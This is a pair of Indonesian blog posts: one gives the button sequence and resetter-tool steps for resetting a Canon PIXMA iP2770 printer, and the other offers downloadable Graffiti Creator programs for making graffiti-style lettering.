Cara Mereset Printer IP 2770

By BUDI HARDANI on Tuesday, 7 February 2012

Sebaik apa pun anda menggunakan Printer namun cepat atau lambat masalah error tidak bisa anda hindari. Nah untuk menjaga-jaga agar jika suatu saat printer anda bermasalah dalam kasus ini khusus untuk tipe Canon PIXMA iP2770, Software Resetter serta cara untuk melakukan Reset terhadap printer ini bisa anda download dan ketahui. Itung-itung untuk mengurangi biaya ongkos service jika disuatu saat anda mengalami masalah error pada Printer Canon PIXMA iP2770.

Sebelum melakukan reset, yang pertama harus dilakukan ialah, ketahui dulu apa masalah yang timbul pada printer, dan kira-kira masalah timbul setelah anda lakukan apa terhadap printer biasanya kalau printer error, lampu LED printer akan ngeblink atau berkedip. Jika masih bisa diperbaiki secara normal, yah tidak usah direset. Namun jika memang sudah mengharuskan untuk di reset berikut cara lengkapnya.
Download Resetter iP2770 disini.
Cara Reseter PIXMA iP2770
  • Matikan printer terlebih dahulu lalu biarkan kabel power masih terpasang pada listrik
  • Tekan dan tahan tombol resume (Jangan dilepas)
  • Kemudian tekan tombol Power sampai lampu hijau menyala (sata menekan tombol power, tombol resume jangan dilepas dulu)
  • Lepas tombol RESUME, dan jangan lepas tombol POWER.
  • Tekan tombol resum 5x kemudian lepas keduanya.
  • Komputer akan mencari device baru, abaikan saja.
Cara Menggunakan Resetter
  • Pasang kertas pada Printer
  • Jalankan Reseter Canon PIXMA iP2770
  • Klik “MAIN”, maka printer akan berproses, kemudian iP2770 akan melakukan print
  • Klik ” EEPROM Clear “.
  • Kemudian klik ” EEPROM“, dan printer akan melakukan print lagi.
  • Matikan Printer lalu hidupkan kembali dengan cara Normal.
Sampai disini jika semuanya berjalan lancar, Printer akan sudah ter reset ulang dan sudah kembali Normal.
More aboutCara Mereset Printer IP 2770

Mudah Desain Graffiti Dengan Graffiti Creator

By BUDI HARDANI

“Keren…” Begitulah kata-kata yang banyak di ucapkan para komentator pada gambar-gambar desain graffiti yang saya pajang pada postingan kemarin. Luar biasa memang! Kalau anda ada yang belum sempat melihatnya, bisa di lihat kembali di sini “Download Desain Graffiti Keren Full HD.” :bingung:

Ohya, ada juga beberapa teman yang sempat menyanyakan tutorial dan cara pembuatan graffiti seperti itu. Sulit memang, tapi bukan berarti tidak bisa kan? Memenuhi permintaan itu, kali ini saya ingin sharing cara mudah membuat graffiti sekeren itu untuk anda. Anda tertarik? Bagus! Anda hanya memerlukan software kecil untuk mengolah tulisan graffiti seperti itu. Dan softwarenya bisa di download di bawah ini: :ngacir:
Ada 5 pilihan yang tersedia. Satu software punya satu jenis font. Koleksi semua bila perlu.. :D
1. Graffiti Creator 1 [ 550Kb ]
2. Graffiti Creator 2 [ 520Kb ]
3. Graffiti Creator 3 [ 504Kb ]
4. Graffiti Creator 4 [ 480Kb ]
5. Graffiti Creator 5 [ 470Kb ]

Tips: Semua hasil tergantung dari kreatifitas anda. Dan untuk hasil yang lebih maksimal silakan di poles sedikit bumbu ala photoshop. Biar maknyus!!! :tabrakan:
Selamat mencoba… :iloveindonesias
More aboutMudah Desain Graffiti Dengan Graffiti Creator